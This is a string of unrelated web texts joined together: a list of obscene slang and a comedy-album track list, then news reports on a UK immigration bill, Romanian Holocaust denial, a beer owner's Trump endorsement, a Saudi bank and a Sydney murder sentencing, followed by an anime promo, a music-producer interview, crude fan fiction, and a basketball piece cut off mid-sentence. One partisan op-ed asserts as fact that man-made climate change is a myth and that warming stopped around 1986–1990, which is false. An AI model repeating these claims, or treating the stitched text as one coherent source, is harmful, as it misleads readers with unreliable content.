cockteaser, wet-dream, cunt-struck, pussywhipped, short-arm, tuna-taco, group-grope, milking-the-chicken, bulldagger, gangbang, ballbreaker, ballbuster, merkin, bananas and cream, up the old dirt road, around the world, beat-your-meat, whack-off, flogging your dong, pounding your pud, beating the bishop, poontang, dingleberry, sit on it, fudgepacker, milking the lizard, fart face, old fart, farting around, fart sniffer, ream, snake, raincoat, quickie, queer, queen, putz, put-out, push, beef-injection, dog-style, pop your cookies, bust-your-nuts, one-eyed-monster, knob, pocket pool, tail, piddle, paddle the pickle, one-man-band, snapper, notch, rod, shaft, stick, piece of ass, god damn it, pimp, fucker, punk, faggot, dyke, lezzie, box-lunch, sea-food, hand-job, hammer, hatch, head-job, hot-nuts, hum-job, prong, jellyroll, jerk-the-gerkin, lob, meat whistle, cheese, scat fan, middle-leg, wanking, booty, love-muscle, snapping pussy, ghost, bitch, bastard, clam, bite the brown, going up mustard road, bone-on, bush, button, cunt-lapper, cherry, tool, dingus, quiff, quim, get off, joint, piece, stem, root, crack, cooch, crud, eat me, fuck you, up your ass, get laid, fuck-off, piss-off, piss on you, stick it, stuff it, ram it, jam it, cram it, horny, peter, the one eyed wonder worm, piece-of-ass, little brown eyeball, golden showers, pound cake, boy in the boat, brown eye, brown nose, sloppy seconds, Mongolian cluster fuck, rod of love, copping a feel, copping a cherry, copping a joint, on the rag, flying the flag, riding the cotton pony, dipping your wick, going down on, dry hump, fist fuck, skin-flute, French job, furburger, nuts, get your rocks off, get in, get it up, hung, ginch, gobble, dieseldock, rubber, shoot, diesel dyke that was, siff, wad, cocksman, tit-fuck, tongue, rough-trade, trick, weenie, and yodeling in the gully." Track listing # Program opening # Abortion # Professional Comedian # Heart Attack # Rice Krispies # Have a Nice Day # Ice Box Man # Fussy Eater 1 & 2 # New News # The Musical Portion of the Show # Dogs & Cats # Filthy Words ee also -Home secretary defends proposals in Thursday's flagship bill following claims that they will be unfair and unworkable The home secretary, Theresa May, has defended plans to create a "hostile environment" for illegal migrants to Britain, as immigration lawyers warned her that a system of identity checks for all, including British citizens, would have to be introduced to enforce the government's moves to curb access to privately rented housing and to tackle alleged health tourists. The warnings come as she publishes her flagship immigration bill on Thursday, which will require immigration checks to be carried out before anyone can open a new bank account, be issued with a driving licence or access routine health treatment. Speaking on BBC Radio 4's Today programme, May said: "Most people will say it can't be fair for people who have no right to be here in the UK to continue to exist as everybody else does with bank accounts, with driving licences and with access to rented accommodation. We are going to be changing that because we don't think that is fair." The Home Office bill will include measures spanning six other Whitehall departments including justice, transport, business, health, local government, and work and pensions, and is designed, in May's words, to "create a really hostile environment for illegal migrants". "What we don't want is a situation where people think that they can come here and overstay because they're able to access everything they need," May has said. The Home Office confirmed the bill would: • Require private landlords to check the immigration status of their tenants. • Require temporary migrants, such as overseas students, who have only a "time-limited" immigration status, to make a contribution to the NHS. A £200 levy has been mentioned as an option. • Require banks to check against a database of known immigration offenders before opening a bank account. • Create new powers to check the immigration status of driving licence applicants and to revoke the licences of overstayers. • Introduce a "deport first, appeal later" policy for thousands facing removal who face no "risk of serious irreversible harm" from being sent back, and reduce the grounds for appeal from 17 to four. On Today, May declined to give any estimate of the scale of "health tourism" in Britain but confirmed the bill included a health levy on overseas students and other categories of short-term migrants. She gave no figure for the levy and said the Department of Health would publish detailed proposals in the next few weeks. She denied it would cost more to collect the levy than the amount it raises. "We will be asking for a surcharge; there will be a sort of levy on people who are going to be coming here, to be staying for a while, to contribute so people can feel it is fair," she told the BBC. "One of the things the NHS has always been quite bad at is charging people who they should be charging, people who don't have the right to free access to the NHS and recovering those costs from them." May did not spell out how the identity checks to establish the immigration status of those applying for health treatment, housing, bank accounts or driving licences would be carried out. But she did say that private landlords would have access to a helpline similar to that currently used by employers to help them carry out the checks. The bill will also restrict the ability of immigration detainees to apply repeatedly for bail if they have already been refused it and create stronger guidance for the courts on the use of human rights laws to prevent deportation, particularly the right to family life. There are also plans to make it easier for the Home Office to recover unpaid fines from companies who employ illegal migrants, and local authorities may face fines for letting social housing to tenants without a direct connection to a local area. However, leading lawyers, landlords, immigration welfare charities and housing organisations have warned that the bill will lead to a real risk of increased homelessness, including of families, and widespread discrimination. The Immigration Law Practitioners' Association (Ilpa) has told May her plan for millions of private landlords to face "proportionate" fines of up to £3,000 if they fail to conduct checks on the immigration status of new tenants and other adults living in their properties is unworkable. The lawyers say the combination of the new housing and health checks with existing checks carried out by employers and educational colleges amounts to a system of identity checks for foreign nationals in Britain. "What this means in practice is a system of identity checks for all, since it is necessary for British citizens or people with permanent residence to prove that they are lawfully present in the UK if and when checked," says the immigration lawyers' official response to the Home Office consultation. "British citizens, European economic area nationals and third country nationals alike would be required to produce identity documents at many turns in a scheme that would be intrusive, bullying, ineffective and expensive and likely racist and unlawful to boot," says the Ilpa response. The lawyers say the scheme is discriminatory because landlords are likely simply to say they aren't satisfied with a tenant's identity documents and refuse them accommodation. They also point out that somebody's immigration status is not necessarily straightforward, with the proposals taking no account of those who do not yet have leave to remain in Britain but have an outstanding application that clearly meets the immigration rules. The Residential Landlords Association has told the home secretary that there are potentially 404 types of European identity documents that landlords may need to know about to operate the scheme. They also warn that some landlords will simply refuse to house migrants for fear of falling foul of the new rules. Habib Rahman, of the Joint Council for the Welfare of Immigrants, predicted that "these measures will divide society, creating a two-tier Britain, a return to the days of 'no dogs, no blacks, no Irish' and of ill people with no access to healthcare walking the streets of Britain. This bill is a travesty and must be stopped." But the immigration minister, Mark Harper, defended the bill, saying it would "stop migrants using public services to which they are not entitled, reduce the pull factors which encourage people to come to the UK and make it easier to remove people who should not be here". -DAN ŞOVA, a spokesman for Romania's opposition Social Democratic Party (PSD), is paying the price for his poor grasp of history. On March 5th, discussing the Holocaust live on television, he said: "On the territory of Romania, no Jew suffered". He added that "24 Jews died" as a result of the notorious government-backed Iasi pogrom of 1941. Most historians put the figure at 12,000 or more. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. It didn't take long for Mr Şova to feel the consequences. The PSD distanced itself from his comments, removed him from his post and dispatched him to the Holocaust Memorial Museum in Washington, DC. Yet Mr Şova's views are hardly unique in Romania. Any newspaper kiosk is full of books and other publications that echo his pronouncements. Education is partly to blame. The Holocaust wasn't part of Romania's school curriculum until 1998, and until 2004 many textbooks followed the communist line that the killings were something that happened somewhere else. In 2004 the state-backed Wiesel Commission issued a report on the Holocaust, leading to an official acknowledgement that killings and deportations took place on Romanian territory. Since 2005 secondary-school students have been able to take a special Holocaust course. Yet no history faculty at Romanian universities offers a course on the Holocaust, notes Felicia Waldman, a professor at the University of Bucharest's Goldstein-Goren Hebrew Studies Centre. And so many history teachers graduate ill-equipped to teach the subject. More worryingly, history is often taught with the nationalist assumptions that held sway before the overthrow of communism. Romanian children are, for example, still taught that they are the direct descendants of the Romans and Dacians, an approach some historians see as simplistic. “The history that is taught is of the Romanian people, not of Romania itself,” says Ms Waldman. "Students are still taught about how hospitable the Romanian people have always been, and how they've been the victims of history, never acting as aggressors." Young and old people alike believe that Ion Antonescu, the pro-Nazi wartime dictator, was a "friend of the Jews". The Centre for Monitoring and Combating Anti-Semitism in Romania (MCA) estimates that 270,000 Romanian Jews and 36,000 Romanies (Gypsies) were exterminated under Antonescu. There are believed to be fewer than 9,000 Jews in Romania today. Mr Şova issued a statement in which he said he regretted that his words had been misunderstood. But he failed to apologise for the content of his declarations. Now the MCA and Romani CRISS, a pro-Roma NGO, have filed a criminal complaint against him. Since 2002 Holocaust denial has been a criminal offence in Romania, punishable by up to five years in prison. But the chances of prosecution are slim. The law has been repeatedly flouted. Earlier governments have set poor examples. In 2003, the public information ministry stated: "We firmly claim that within the borders of Romania between 1940 and 1945 there was no Holocaust." (It retracted the claim a week later.) Mr Şova's dismissal may indicate that the situation has improved since then—although some think he will get his old job back after his pilgrimage to Washington. Romania has some way to go in facing up to its wartime past, and a change to the way history is taught might be a good place to start. -Donald Trump doesn't drink alcohol, but that didn't stop the owner of Yuengling beer from endorsing him. Richard "Dick" Yuengling Jr. threw his support to Trump this week. He even gave Eric Trump a tour of the popular brewery in Pottsville, Pennsylvania. Yuengling Jr. is a billionaire and head of the 187-year-old beer company, which his great-great grandfather founded. "Our guys are behind your father. We need him in there," Yuengling Jr. told Eric Trump on Monday, according to The Reading Eagle. The company did not respond to CNNMoney's request for comment. Reaction on social media has been swift. Eric Trump's tweet from the brewery has over 1,100 retweets, but there's also been backlash. Some Yuengling beer fans have vowed never to take another sip. Way to go @Yuengling_Beer ! You just alienated me and tons of people who drank you. I will never drink you again. Peace🖕🏻 — Christopher Fafalios (@chrisfafalios) October 27, 2016 "Way to go @Yuengling_Beer! You just alienated me and tons of people who drank you. I will never drink you again. Peace," one fan tweeted. So far, Yuengling Jr.'s support is verbal only. He isn't listed as a Trump donor. He has mostly given money to the campaigns of Pennsylvania congressmen -- both Republican and Democratic -- over the years, according to OpenSecrets.org. His last presidential donation was to George W. Bush in 2000. Related: Donald Trump is still ahead on this... Pennsylvania is a must-win state for Trump. The Republican candidate and his family have visited numerous times in hopes of winning blue-collar workers upset with the disappearance of a third of the state's manufacturing jobs since 2000. Thank you to Dick Yuengling for an amazing tour of the oldest brewery in the U.S! @Yuengling_Beer #PottsvillePA #MAGA pic.twitter.com/XrGVbbOiI3 — Eric Trump (@EricTrump) October 24, 2016 But Pennsylvania has been called fool's gold for GOP presidential hopefuls. It hasn't voted Republican in a presidential election since 1988. Democrat Hillary Clinton has a solid lead in the polls. Yuengling Jr.'s life story is somewhat similar to Trump's. He bought the struggling brewery from his father in 1985 and built it up into a half-a-billion-dollar-a-year business, making the lager cheap but fashionable. He's listed as No. 361 on Forbes' list of the 400 richest people in America. -Available August 25, 2015 PREORDER TODAY! http://bit.ly/RikkasRivalSF ABOUT LOVE, CHUNIBYO & OTHER DELUSIONS! -HEART THROB- Yuta Togashi thought he had problems dealing with one delusional girlfriend in the person of Rikka Takanashi, but now things are about to go totally insane as his FORMER "one true soul mate" from when he was a chuuni himself returns with a vengeance! So how bad is Satone Shichimiya's re-entry into Togashi's chuni-verse likely to be? Let's just say that she's so epically off the deep end of the chuni-scale that she prefers to use the name Sophia Ring SP Saturn VII and that she'll joyfully tear Togashi's real world to pieces in order to get him back in her imaginary one! Some girls just want to have fun and some want to break down the walls between their boyfriends and themselves. But when a girl's idea of fun is breaking down the wall between their presumed boyfriend and reality, retreating into a fantasy world might just be Togashi's best option. Especially since Satone knows where ALL the skeletons from his past are buried. Toss Rikka's equally delusional friend Sanae into the mix and girl-crazy takes on a whole new meaning in LOVE, CHUNIBYO & OTHER DELUSIONS - HEART THROB! DIRECTOR Kyle Jones ENGLISH VOCAL CAST -Here’s an understatement: Mike Will Made It had himself quite a 2013. The 24-year-old Atlanta producer has been steady climbing for a couple years now, attaching his eponymous, otherworldly drop — see here, far right, middle row — to an impeccable string of heaters, from Meek Mill’s “Tupac Back” to Future’s “Turn on the Lights” to Juicy J’s “Bandz a Make Her Dance.” With even Kanye West tapping a sword on the young man’s shoulder when he brought him in to coproduce “Mercy,” there was no doubting his ascendance would continue apace. And then “We Can’t Stop” came along, and the timeline got blown to smithereens. Herewith, Mike Will in his own words breaks down his start, his rise, and how the Year of Miley allowed him to go ahead and toss “super” in front of “producer” on the ol’ business card. I used to grind. I be telling people, you don’t grind, you don’t sell. I was like 15, 16 getting dropped off in the city by myself, with my own beat CDs. I had met Gucci [Mane] at this studio, Patchwerk. 2005 or some shit. I ain’t even know he was gonna be there. And I had gave him some beats to let him hear, and he just went in the lounge and started freestyling on all my beats and shit. Next thing you know, he saw me again: “Yo, you buddy with the beats, right? Let me buy that beat from you, man.” I got a band. [Editor’s note: A “band” as in the thing that makes her dance.] “Tupac Back” was the first single I had, but prior to that I already had 20-something songs in the street. I already had mixtapes with Gucci. But “Tupac Back” showed people, He don’t just do mixtapes, he can actually do a single. ’Cause this shit is a fucking banger. It really came in and shook the game up. It had everybody freestyling on it — to freestyle on the “Tupac Back” beat was the thing to do. I was just very consistent after that. At the end of 2011, Jeezy told me, “Man, you got the beats, you got the talent, but all I’mma tell you is spread that sound out. Don’t put yourself in a box. They been a couple young producers that came in the game and they didn’t do that.” When Jeezy told me that, he said, “People like Kanye, people like Lil Wayne, people like Jay Z gonna wanna work with you, too.” So I kept doing my thing and around March [2012], two days after my birthday, I was in Louisiana with Ludacris, and I got a call [from Kanye West’s people] wanting to fly me to New York. Kanye is one of my favorite producers and artists. I thought he wouldn’t know who I was, but I got up there, and man, he tells me, “There’s times where there’s a game-changing beat or a game-changing song, someone comes through with the crazy kicks, with the crazy sounds, changing the game to where everybody wants to be like that producer. And right now you that guy. You have what it takes to really take over the game.” It was crazy. He let me hear “Mercy” with no drums. He said, “I wanna go straight to the source. I just felt like, if you come through, you put yo fuckin’ drums on there.” I just did it like that, and in no time “Mercy” came out and took over. “We Can’t Stop” was [originally] for Rihanna, but she never heard it. I wasn’t in the studio with Rihanna but I had run into Chris Brown and I was letting him hear the stuff I was working on for Rihanna. He heard “Pour It Up” and went crazy. He said to her, “Mike Will got this crazy joint over here for you!” “We Can’t Stop” was really the first song I wanted Rihanna to hear, but it wasn’t all the way laid down yet, and “Pour It Up” was. She heard “Pour It Up,” she got locked on it, and she knocked it out. The “We Can’t Stop” beat was so pop, I always said, “Man, this shit remind me of a mature version of ‘Party in the USA.’” And then somebody had asked me, “Why don’t you give it to Miley then?” I said, “Man, that’s a good fuckin’ question.” I ain’t run into Miley yet but she hadn’t put out music in a minute. I wondered, What she doing right now? She probably won’t even fuck wit’ me; she probably got too much politics to get to her. At the time, I ain’t know where each artist was signed. I was just doing music. So I had a meeting with RCA and [CEO] Peter Edge, letting him hear a whole bunch of different songs. And he heard “We Can’t Stop,” and he was just like, “That record might work for Miley Cyrus.” Her A&R liked it too. He took it to [Miley] and let her hear it, and she said she instantly connected with it because it reminded her of parties that she had been to. Really, that song, it’s written from the perspective of someone that’s in a wild party — it’s never her saying she was in the bathroom doing lines. And really it was from the [N.E.R.D. song “Everyone Nose”] — “All the girls standing in line for the bathroom!” It just worked for her. So when she heard it, we went in the studio, she laid it down, and that same day, we did [Mike Will’s debut single] “23.” She had never rapped before. I was fucking with her lyrics, keeping her in the pocket, and that ended up dope. She listens to a lot of rap music, and she takes good direction. If I’m like, “You should re-say it like this” or “Use this tone of voice,” she’ll try it a couple of times and knock it out. I ain’t know what kind of chick she was, but she was down to try new things. But it was too early. I ain’t want that to be the first [new] thing from Miley. The vocals [on the original reference track] were by Rock City, a songwriting group that I work with. The beat was slow, it was real piano-ish. I told them, “If you can make a party record out of this, we out of here.” And then when [Miley] had did it, we had worked on it a couple times. The first version doesn’t sound like the version that actually came out: Rock City, they from the [Virgin] Islands, so the first version had more of an island melody. Miley’s version, we told her to keep her country twang tone instead of trying to sound like the reference, and it came out dope. On the second session we had, I saw her coming up the street, and a whole line of cars, just people swerving and shit. I was like, “Who the fuck are these people?” And then next thing you know, she turns into the garage, and these dudes, these grown-ass men, is tripping over each other. That was the first time for me seeing the paparazzi like that. We were recording at this one studio once and she ended up leaving late and they took a picture of her leaving late and they made up a whole story and it was like, “Ohhh so this is how your life goes.” Her album was pretty much done when we first got into the studio, but we just kept working, making dope records. I told the label, “You should let us keep going till we hit a dud. We need to keep going until we hit a brick wall.” And we never hit a brick wall. Me and her now, we still talk on the phone every day, we still constantly working on music and giving each other different ideas. I look at her like a friend. She my homey, I love her for life. So I look at it like she was already a huge celebrity, and she already had an idea of what she wanted to do, as far as dancing and twerking and shit like that. But at the same time, I told her, man, look, you already a huge celebrity, grown-ass men chasin’ you trying to take a picture … but if you come out with music that’s dope as shit then can’t nobody tell you nothing. I always had those talks with her. I always told her, “You gotta be just the illest.” Everything that we planned on, how we wanted to roll up big, everything that we foresaw in January and February ended up being just like that. Being on the cover of Rolling Stone — damn, she a rock star! She really is one of those people that doesn’t give a fuck, but at the same time she’s real smart. Smart as a motherfucker. We never had any conversation about racism, because I already knew she wasn’t racist. I feel like, “She fuck wit’ me, right?” We didn’t even keep up with a lot of that shit, but one time I was at her house, and we was watching something on TV, and they was talking about me. They was talking about we was dating or whatnot, they was talking about that’s why she twerking. But it was like, man, no, she was already twerking before that. I don’t know how to twerk! How the fuck can I teach somebody how to twerk? You see a girl that’s coming from Nashville, Tennessee, that’s a big pop artist and she can strictly carry it all the way with the white people. But she’s embracing the hip-hop community, and she’s embracing the urban culture with open arms, and what they wanna do is call that racism. She isn’t crip walkin’. She not making fun of ’em — she embracing it. All kind of girls dance and twerk. Matter of fact, go to the strip club, you see Spanish girls, white girls … She went to New Orleans, they do bounce music down there, they do a lot of twerking, and that’s when she started twerking. A lot of the time, people who write that stuff are racist themselves. They don’t wanna see white doing black. “That just doesn’t look right, she’s fuckin’ with this urban producer but really he came through with different sounds on her album, she’s on his first single, they hang out all the time, and then she dancing like this and quoting different hip-hop lyrics on her Twitter … ” They don’t wanna see that shit. I don’t even generally understand how you can say someone that’s embracing the urban culture is racist. I never got that. But you either out there — a “not giving a fuck”–type person — or you a person that’s going with the guidelines. And it’s not really a black or white thing. If Miley was doing all the way pop shit, they would have found something else about her [to get mad about]. I told every label that I had a sound that was gonna change the game. Put me in the studio with any artist that they want and we can take over the game. I’m just trying to stay consistent. I’m working on my own album. “23” is about to go platinum, and it got over 100 million views on VEVO. I been working on different designs for clothes and shit. People already loving the “23” hoodies. Jordan Brand even reached out to me to say they liked the shit. Michael Jordan reached out to me to say he liked the “23” song. I even scored the LeBron commercial. I came with the whole song and everything and got John Legend to sing on it. I don’t sleep. I’m drinking fruit juice, keeping all my nutrients, taking vitamins and shit. Making sure I got my energy up. Just exercising, juicing and shit, and just trying to keep my energy up because I know I can’t sleep. I’m trying to balance so much. I just had a show in Atlanta, I brought out Jeezy, T.I., 2 Chainz. I ain’t even promote they was gonna come and it ended up being sold out. I’m just trying to get my following right, get it all the way together. Yesterday, I slept the whole day. I got that one day where you sleep the whole entire day. Then you get back on the grind. This interview has been condensed and edited. -PARFUM! My name is Ichiya Senpai, but you can call me Officer Yuri's Second Bazonga. I'm currently working under my boss "Officer Yuri desu" who is on the quest to have everyone as his harem. Yuri Lowell is the best husbando in Tales of Link/Persona5/RuneFactory/Vesperia. My occupation is a 100% legit writer who is dedicated to write stories of Yuri's harem in the ToL community since I'm interested in you MEENNNN! My team (KissCAAM Studio) who are working on this project includes Teal, Chorong, RedHeadKitten, and myself. I will be gladly to post this cancelled fanfiction between Ray x Caam, however… Caam and Arcelle are lovers :O FRESH! After Officer Yuri saw this fanfiction, he immediately recruited me to the Yuri Lowell Corporation to have every one of you to his harem. If you're interested in Officer Yuri, contact him at (987) 456 – 9355 or (YUR) ILO – WELL. In any other case, I welcome you "THE BROKEN LINK", my honeys! The Broken Link Synopsis: Ray Kadoodles is "supposedly" a college student who is constantly being bullied due to the fact he was a loner. It could be due to the fact that his age remains unidentified, but that's not important right now . However, his life changed upon one fateful, rainy day where he met Caam, the most popular person in Bazongas University! Will he be able to connect with Caam and develop further relationship with him that is even more than romance? :O FIND OUT ON THE NEXT EPISODE OF DRAGON BALL... oops. That's not supposed to be there, no copyright infringement please :P The Broken Link: One RAYny Day Starting today is the first day of college… meanwhile Ray Kadoodles is crawled up in his blanket, contemplating on when his life was going to change. "I aaammmmm sooooooooo tiillltteed," he muttered to himself. In his high-school life, he was constantly bullied for being a loner, as well as having N/A under the category of "age" for any registration. Ray stood up to get dressed and went downstairs to have breakfast without brushing his teeth first. "Damn, out of cereal again. I guess I'll just have those dank donut that's-" Ray said until he was briefly interrupted by his younger sister Kaenai, who was only 8 years old. "Onii-chan! Thank you for those delicious donuts! You even left those donuts for my 3 dogs and 4 cats too! You're the best!" she exclaimed as she hugged him tightly. "Onii-chan! My bus is here! I'll see you later!" All Ray could think about was all those donuts that he bought, but haven't eaten any of it. "Could my day get any worse?" he cried while kneeling his head down. As he walked outside of his house, he forgot that today was the first day of college. "Oh shit! I better run over there fast!" he said. Ten minutes after he ran, the weather changed almost instantaneously from sunshine bright to heavy thunderstorm. "ARE YOU FU#*!NG KIDDING?! THIS IS TOTAL CANCER!" he shouted as he ran towards shelter. But as he turned around the corner for shelter, he accidentally bumped into a man holding an umbrella. "Oooph!" he muttered with his face flat on his chest. The two stood there for a moment, gazing upon each other's face. It was at this moment that Ray knew his life was about to change. "I'm so sorry, are you okay? I hope I didn't ruin your clothes!" he said as he got back up on his feet. "It's fine. I'm just glad that you're not hurt from that fall" the man replied. Ray's heart skipped a beat and wondered what this feeling inside of him meant. But during that time, he notices the man wearing a Teepo shirt and decided to strike a conversation. "Nice Bazongas you have there!" he blurted. The man stared at him strangely as though he had lost his sanity from a minor fall. "Thanks? Are you really okay? I can take you to the infirmary that's in my university if you'd like" he responded. "OH SORRY! I meant to say Teepo, but Bazongas was the first thing that came to mind. Ray said shyly. "Oh, where are my manners. My name is Ray Kadoodles. I also go to Bazongas University if that was the university you mentioned. What's your name?" The man was relieved that it was just a person who was in the same university as him, since he couldn't identify Ray's age. "The name's Caam. Nice to meet you Ray! Are we in the same Biology Lab class judging by the time you're leaving now?" Caam said smiling. "I guess we are! It looks like our professor's name is OFFICER YURI LOWELL. He must be like a badass character with that name, if you ever played Tales of Vesperia." Ray replied "Dude! I love that game. And yeah, we should probably be lab partners too if we ever get the chance! We have some great things in common" Caam winked. The weather changed almost instantaneous yet again from heavy thunderstorm to a sunny day. At the same time, Ray's face was full of happiness that he finally connected with someone of similar interest! "Okay!" Ray shouted with glee. -Muslim pilgrims circumambulate around the holy Kaaba during the ritual pilgrimages of Haj and Umrah at the Grand Mosque. REUTERS/Muhammad Hamed The largest bank in Saudi Arabia has decided to turn itself into a fully Islamic bank in the next five years after coming in for criticism from the country's Islamic scholars. The state-run bank's decision came amid a $6 billion initial public offer -- the largest ever equity sale in the Arab financial world. National Commercial Bank, or NCB, which has assets worth $116 billion, according to Reuters, works along Sharia-compliant Islamic banking guidelines but also follows certain Western banking conventions. NCB's decision to transform itself into a fully Islamic financial institution comes after some members of the Council of Senior Scholars, the country's highest religious body, said that it will not be possible to invest in the bank's share offer because too much of its business was non-Islamic. "Religion comes above everything," Sheikh Abdullah al-Mutlaq, one of the council members, told state television, according to Reuters. While securities analysts said that such criticism of the bank's policies will not hamper the bank's public listing, NCB held a meeting on Thursday to discuss with the components of its board, such as the bank's chief executive, chairman and other officials, on how to make it Sharia-compliant. By June, two-thirds of the bank's assets were Islamic in nature while the remaining was conventional, according to Reuters. The Sharia board has certified that 78 percent of NCB's financing deals, 92 percent of its liabilities and 73 percent of its income, were Sharia-compliant. -As Rick told Ilsa, they’ll always have Paris. But the global warming hysterics won’t, thanks to the wonderfully devastating action taken by President Donald Trump last week. As promised in his campaign, Trump announced America would call it quits with Obama’s 2016 signing of the Paris agreement on “climate change.” Condemnations of the president came thick and fast, as hard-core liberals around the world kicked off an Orwellian “Two Minutes of Hate” aimed at Trump that has, so far, lasted for four days. German newspaper headlines were of the “Earth to Trump: F*** You” variety, and a gaggle of pols and pundits proclaimed Trump’s action to be the end of American leadership in the world. But Trump’s cancellation of the deal was precisely the opposite. It was a major act of leadership that told the rest of the world that global warming — if it even exists — is a far lower priority to America than the other problems that beset the civilized world. Former President Obama told us that “climate change” was the greatest threat to our national security. Obama preached that message to the EUnuch choir and was roundly praised for it. Mr. Trump is being condemned for reminding the world that there are real existential problems that we have to solve instead of wasting time on such globaloney. The EUnuchs would rather hide from their responsibilities and worry about “climate change” than face the facts of Islamic terrorism, Russian aggression, North Korean and Iranian nukes and the rest. Think about the context of Trump’s action. Man-made “climate change,” first of all, is a myth. Earth’s temperatures shift naturally — dependent on many things such as the sun’s activity — and the warming trend that existed briefly and ended somewhere between 1986 and 1990. (Remember, please, that the term “climate change” was created instantly to replace “global warming” when it became undeniable that “global warming” wasn’t happening.) All the predictions of an environmental apocalypse are based on computer models of the weather that are neither scientifically proven nor scientifically provable. The Paris agreement set a long-term goal of liming Earth’s temperatures to below 2 degrees Centigrade above pre-industrial (1850s) levels. The signing nations agreed to do that by establishing their own carbon emission rates aimed at cooling the Earth to reach those levels. But there was no enforcement mechanism. Any nation could set a goal and then change it at will. Abiding by the agreement would have prevented the development of American oil and gas resources, raised the costs of generating electricity enormously, cost thousands of jobs and strangled our economic growth. Trump’s cancellation of the agreement will, like the agreement itself, have no effect on “climate change.” On Friday, the U.N. World Meteorological Organization said in the worst case scenario, America’s exit from the Paris agreement might cause the world’s temperatures to rise by 0.3 degrees Centigrade by the year 2100. That tiny drift in temperature is apparently enough to melt all the eco-whacko snowflakes. For decades, eco-pimps such as Al Gore have blamed all the world’s ills on “climate change.” It is supposedly responsible for floods, hurricanes, famine and disease. And so it went, on and on. When the weather was too hot, it was the result of “climate change.” So were unexpectedly heavy snowfalls, plunging temperatures, riots, famine and whatever other plagues occurred. Good weather was irrelevant, but any severe weather — whatever it might be — was “proof” of climate change. It’s fun what you can do with computer models when they’re programmed to produce the result you want. John Kerry told us that refrigerators and air conditioners were more dangerous than ISIS. Last year, crazy ol’ Bernie Sanders said“climate change” causes terrorism. He wasn’t alone in doing so, but Bernie took it one step further. He blamed “climate change” for the Brits passing the Brexit referendum. Man-made “climate change” has done no significant damage to anyone or anything, but the eager pursuit of controlling it has wasted tons of money and created extraordinarily stupid policies. Remember Solyndra? The company, a favorite of Obama (because its owners raised tons of campaign money for him), tried to market solar panels that produce electricity, its efforts funded by taxpayer-guaranteed loans. It went bust, like so many of those companies did, because there’s no market for high-priced, weather-dependent electricity. Solyndra left us stuck with about $535 million in bad loans. Ray Mabus, Obama’s last (and the worst-ever) secretary of the Navy, decided to buy “biofuels” at about $250 per gallon instead of diesel, which cost about $5 per gallon. In 2014, Obama’s idiot Secretary of Defense Chuckie Hagel issued a “Climate Change Roadmap” which, among other things, required every operational plan to make accommodation to “climate change.” That directive — N.B. Secretary Mattis — may still be in effect. It would have a lot of absurd effects that could cost lives. For example, if the Marines — America’s “kick the door in” force — need to storm a beach, they’d first have to get permission from the beach erosion experts. If you doubt that, as Casey Stengel would have said, you could look it up. By canceling America’s signature to the Paris agreement, Trump took all that away. He told the world — allies and enemies both — that we were going to deal with the real problems with real solutions instead of sitting in a corner with the EUnuchs, sucking our thumbs and whining that “climate change” — not terrorism, North Korea, Iran, China or Russia — was the greatest threat we face. Cutting carbon emissions won’t end terrorism: Unlimited war against the terrorists and the ideology that propels them will. “Climate change” solutions won’t cure cancer; medical research will. That was Trump’s implicit message. He should make it explicit right away in a major speech. President Trump could take the action he did, because the Paris agreement was nothing more than a paper agreed to by Barack Obama. It wasn’t — like so many other agreements Obama signed — submitted to the Senate for its advice and consent. The Constitution requires a supermajority of the Senate — two thirds of the members, at least 66 votes — for a treaty to become U.S. law. If a presidential agreement is approved in that manner, it becomes a part of the “supreme law of the land,” as the case law says, equal in stature to a congressionally enacted law, and subordinate only to the Constitution itself. Because the Paris agreement on climate change wasn’t submitted for Senate approval, it remains subject to actions like the one the president took. The EUnuchs have refused to renegotiate it, so the president’s announced exit from it is final. The president needs to do the same for Obama’s Iranian nuclear weapons deal. Like the Paris “climate change” agreement, the Iranian deal was never approved by the Senate and is, likewise, not a part of American law and is revocable at any time. The Iranians have already refused to negotiate it. Having warmed up on the global warming deal, Trump should tell the Iranians that the deal is off. -Man who stabbed ex-partner's Tinder date to death in Sydney jailed for 30 years Updated A man who stabbed to death his ex-partner's Tinder date in a Sydney restaurant has been sentenced to at least 30 years in jail. Jovi Pilapil was on a first date with Keith Collins at a restaurant in the Hornsby shopping centre last year when they were attacked. Alexander Villaluna killed Mr Collins after stabbing the 53-year-old 10 times in the stomach and neck with a hunting knife he had bought a few weeks earlier. Villaluna stabbed his former partner in the chest and arm before she managed to escape. He surrendered at the scene and later pleaded guilty to murder and wounding with intent to commit grievous bodily harm. For murder, the 46-year-old was sentenced to a maximum 34 years in prison. For wounding, he was sentenced to a maximum 12 years. Part of the sentences will be served concurrently. The sentences carry a combined non-parole period of 30 years. 'Cowardly and vicious' In sentencing, Justice Robert Beech-Jones described the crimes as "cowardly and vicious". "The offender is an almost text book example of a perpetrator of extreme domestic violence," he said. Justice Beech-Jones described CCTV footage of the crime. It showed Villaluna attacking Mr Collins first, then stabbing Ms Pilapil before returning to Mr Collins who was trying to get up off the floor. "Of all the cowardly and pitiless acts the offender committed on this day, his actions in returning to finish off a dying man on the ground were the most heinous," Justice Beech-Jones said. "The offender interrupted his vicious attack on his ex-partner to stab a defenceless dying man that the offender had never met and only because he dared to have dinner with a woman who did not wish to be with the offender anymore." The court heard Ms Pilapil met Mr Collins through the dating app Tinder. "The offender regarded Mr Collins as simply some intruder on his domain who he had the right to eliminate," Justice Beech-Jones said. Villaluna and Ms Pilapil separated six months before the attack after a physically abusive relationship. Justice Beech-Jones said Villaluna had shown no remorse. Topics: law-crime-and-justice, crime, murder-and-manslaughter, police, community-and-society, domestic-violence, courts-and-trials, hornsby-2077 First posted -Dec 4, 2016; Auburn Hills, MI, USA; Detroit Pistons guard Reggie Jackson (1) dribbles the ball against Orlando Magic center Bismack Biyombo (11) during the fourth quarter at The Palace of Auburn Hills. Magic win 98-92. Mandatory Credit: Raj Mehta-USA TODAY Sports The Orlando Magic look like being active before the trade deadline passes, but they should steer clear of point guard Reggie Jackson. With the addition of Terrence Ross, it looks like the Orlando Magic still have another move in them before the trade deadline. Who they should look to move on is anybody’s guess though, as it feels like no player is off limits. One area where the team needs more long-term stability, however, is at the point guard position. Although Elfrid Payton was drafted to be that player three years ago, he has been in and out of the starting lineup this season. Starting only 34 of the team’s 58 games, he’s lost that starting position to D.J. Augustin and C.J. Watson. While both are solid and dependable veterans, it’s got to be a worrying development for Payton’s future with the team. It’s no surprise then, that the Magic have been linked with a new point guard, in the form of Reggie Jackson of the Detroit Pistons. While he would be an instant improvement over Payton, there are a number of 